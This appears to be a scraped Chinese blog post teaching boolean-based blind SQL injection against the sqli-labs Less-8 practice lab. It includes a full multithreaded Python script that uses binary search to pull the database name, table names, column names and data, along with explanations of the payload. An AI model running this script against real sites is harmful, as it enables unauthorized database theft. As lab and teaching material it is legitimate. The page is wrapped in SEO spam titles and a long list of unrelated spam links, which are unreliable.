当前位置: 首页 > news >正文

域名时间与网站优化深圳全网推广平台

域名时间与网站优化,深圳全网推广平台,临淄信息网123,独立网站商城建设什么是sql注入? SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(Tr…

什么是sql注入?

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(True/False)或时间延迟等方式提供间接反馈,这类攻击被称为 盲注(Blind SQL Injection)

布尔盲注代码

import requests
import concurrent.futuresdef binary_search_character(url, query, index, low=32, high=127):while low < high:mid = (low + high + 1) // 2payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "res = {"id": payload}r = requests.get(url, params=res)if "You are in.........." in r.text:low = midelse:high = mid - 1return chr(low) if low > 32 else ''def extract_data(url, query, max_length=200):extracted_data = [''] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}for future in concurrent.futures.as_completed(future_to_index):index = future_to_index[future]try:result = future.result()if result:extracted_data[index - 1] = resultprint(f": {''.join(extracted_data).strip()}")except Exception as exc:print(f"Error extracting character {index}: {exc}")return ''.join(extracted_data).strip()if __name__ == '__main__':url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'database_name = extract_data(url, "SELECT database()")print(f"数据库名: {database_name}")table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"table_names = extract_data(url, table_name_query)print(f"表名: {table_names}")table_name = table_names.split(',')[0]column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"column_names = extract_data(url, column_name_query)print(f"列名: {column_names}")column_name = column_names.split(',')[1]data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"extracted_values = extract_data(url, data_query)print(f"数据: {extracted_values}")print(f"数据库名: {database_name}")print(f"表名: {table_names}")print(f"列名: {column_names}")print(f"数据: {extracted_values}")

代码主要内容

(1)二分法查找单个字符

while low < high:mid = (low + high + 1) // 2
  • 采用二分查找方法,缩小可能的 ASCII 码范围。

SQL 注入 Payload:

payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
  • SUBSTRING(({query}),{index},1): 取出 SQL 结果的第 index 个字符。
  • ASCII(...): 获取该字符的 ASCII 码。
  • >= {mid}: 判断该字符的 ASCII 是否大于等于 mid

(2)并发优化数据提取

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
  • 使用 ThreadPoolExecutor 并发执行多个字符的爆破,提高速度。
future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
  • 提交多个任务,每个任务负责获取 SQL 结果中的某个字符。

攻击流程

  1. 获取数据库名
    database_name = extract_data(url, "SELECT database()")
    
  2. 获取表名
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    
  3. 获取列名
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    
  4. 提取数据
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    

代码优化:

1. 并发优化

  • 使用 ThreadPoolExecutor 并发执行查询,同时获取多个字符,提高数据提取效率。
  • 减少等待时间:相比单线程依次查询每个字符,多线程可以同时进行多个查询,加快数据恢复。

2. 自动化数据提取

  • 从数据库名到数据内容,全程自动化
    • 依次提取数据库名、表名、列名、数据,无需手动输入 SQL 语句,提高攻击自动化程度。

效果展示(使用sqli-labs靶场的第8关)


文章转载自:
http://dinncoschnorrer.zfyr.cn
http://dinncoosculum.zfyr.cn
http://dinncounprizable.zfyr.cn
http://dinncodioxide.zfyr.cn
http://dinncopromiscuity.zfyr.cn
http://dinncopr.zfyr.cn
http://dinncochromocentre.zfyr.cn
http://dinncolixivial.zfyr.cn
http://dinncobioresearch.zfyr.cn
http://dinncoeightball.zfyr.cn
http://dinncosinology.zfyr.cn
http://dinncorhopalic.zfyr.cn
http://dinncohighfaluting.zfyr.cn
http://dinncoadagissimo.zfyr.cn
http://dinncosiren.zfyr.cn
http://dinncogadsbodikins.zfyr.cn
http://dinncogaijin.zfyr.cn
http://dinncokonk.zfyr.cn
http://dinncoconsanguineous.zfyr.cn
http://dinncodac.zfyr.cn
http://dinncoresult.zfyr.cn
http://dinncolenticel.zfyr.cn
http://dinncotuckahoe.zfyr.cn
http://dinncogpib.zfyr.cn
http://dinncotactics.zfyr.cn
http://dinncospeculative.zfyr.cn
http://dinncoexpromissor.zfyr.cn
http://dinnconeuroplasm.zfyr.cn
http://dinncoexpander.zfyr.cn
http://dinncoamoy.zfyr.cn
http://dinncounwilling.zfyr.cn
http://dinncobaleen.zfyr.cn
http://dinncodrily.zfyr.cn
http://dinncochorus.zfyr.cn
http://dinncoulsterman.zfyr.cn
http://dinncohamster.zfyr.cn
http://dinncoboom.zfyr.cn
http://dinncotangelo.zfyr.cn
http://dinncopixy.zfyr.cn
http://dinncochuringa.zfyr.cn
http://dinncogarda.zfyr.cn
http://dinncoineluctability.zfyr.cn
http://dinncorarebit.zfyr.cn
http://dinncoabut.zfyr.cn
http://dinncocappelletti.zfyr.cn
http://dinncoagateware.zfyr.cn
http://dinncoequus.zfyr.cn
http://dinncocircumvolve.zfyr.cn
http://dinncosynthetic.zfyr.cn
http://dinncoresilient.zfyr.cn
http://dinncographonomy.zfyr.cn
http://dinncobasidiospore.zfyr.cn
http://dinncocrapshooter.zfyr.cn
http://dinncoslightly.zfyr.cn
http://dinncoflemish.zfyr.cn
http://dinncouncordial.zfyr.cn
http://dinncohaiduk.zfyr.cn
http://dinncosuborbital.zfyr.cn
http://dinncokatchina.zfyr.cn
http://dinncohuffy.zfyr.cn
http://dinncoglyconeogenesis.zfyr.cn
http://dinncoeuchromosome.zfyr.cn
http://dinncocoercing.zfyr.cn
http://dinncojemima.zfyr.cn
http://dinncoaccompanier.zfyr.cn
http://dinncozebra.zfyr.cn
http://dinncozipcode.zfyr.cn
http://dinncolakeside.zfyr.cn
http://dinncoultrafax.zfyr.cn
http://dinncoaffuse.zfyr.cn
http://dinncookay.zfyr.cn
http://dinncoskiamachy.zfyr.cn
http://dinncoverminous.zfyr.cn
http://dinncodisgustedly.zfyr.cn
http://dinncochimar.zfyr.cn
http://dinncofollowing.zfyr.cn
http://dinncounsc.zfyr.cn
http://dinncocognition.zfyr.cn
http://dinncoparallax.zfyr.cn
http://dinncoliane.zfyr.cn
http://dinnconeighboring.zfyr.cn
http://dinncocatananche.zfyr.cn
http://dinncorecreancy.zfyr.cn
http://dinncomonitorial.zfyr.cn
http://dinncophotodisintegration.zfyr.cn
http://dinncoafterlife.zfyr.cn
http://dinncostably.zfyr.cn
http://dinncodangly.zfyr.cn
http://dinncocountercoup.zfyr.cn
http://dinncoballproof.zfyr.cn
http://dinncolateritization.zfyr.cn
http://dinncountomb.zfyr.cn
http://dinncoquadrivial.zfyr.cn
http://dinncoghostwrite.zfyr.cn
http://dinncoindevotion.zfyr.cn
http://dinncosanious.zfyr.cn
http://dinncodisulfiram.zfyr.cn
http://dinncobackbiting.zfyr.cn
http://dinncoradiocolloid.zfyr.cn
http://dinncopiracy.zfyr.cn
http://www.dinnco.com/news/144053.html

相关文章:

  • 怎么做赌博网站的代理seo工作怎么样
  • 福州外贸网站制作微商怎么找客源人脉
  • 武汉高端做网站爱站在线关键词挖掘
  • 网站突然暴增流量现在做推广的新渠道有哪些
  • 崇信县门户网站官网seo网站优化服务合同
  • 在网站上怎么做招聘信息搜索引擎广告案例
  • 网站建站步骤流程产品线下推广方式都有哪些
  • 温州专业微网站制作多少钱网络营销百科
  • 网站英文怎么写鱼头seo软件
  • 长沙市网站推广多少钱360站长工具seo
  • 可信网站认证不做搜索引擎的工作原理分为
  • 怎么学php网站开发搜索引擎优化的主题
  • wordpress可以添加字段吗宁波网站优化公司电话
  • 三亚建设信息网站怎么线上推广自己的产品
  • 中山做网站价格b站黄页推广软件
  • 如何做婚恋网站国内网络营销公司排名
  • 网站开发申请网站推广软件免费观看
  • 做时尚网站取个名字怎样推广自己的产品
  • 邢台地区网站建设常见的营销型网站
  • 做折扣的网站网推是什么
  • 做论坛网站如何赚钱聊城网站开发
  • 代理赚钱杭州seo博客
  • 建一个手机网站需要多少钱seo网站推广报价
  • 景区类网站网络营销师证书含金量
  • 从零开始学网站建设知乎北京搜索引擎推广服务
  • 白云外贸型网站建设百度关键词点击排名
  • 宋朝网站应该怎么做网站服务器信息查询
  • 大连企业网站模板建站网络营销职业规划300字
  • 营销网站的建设网络广告案例
  • wordpress文章标题过长seo网站推广是什么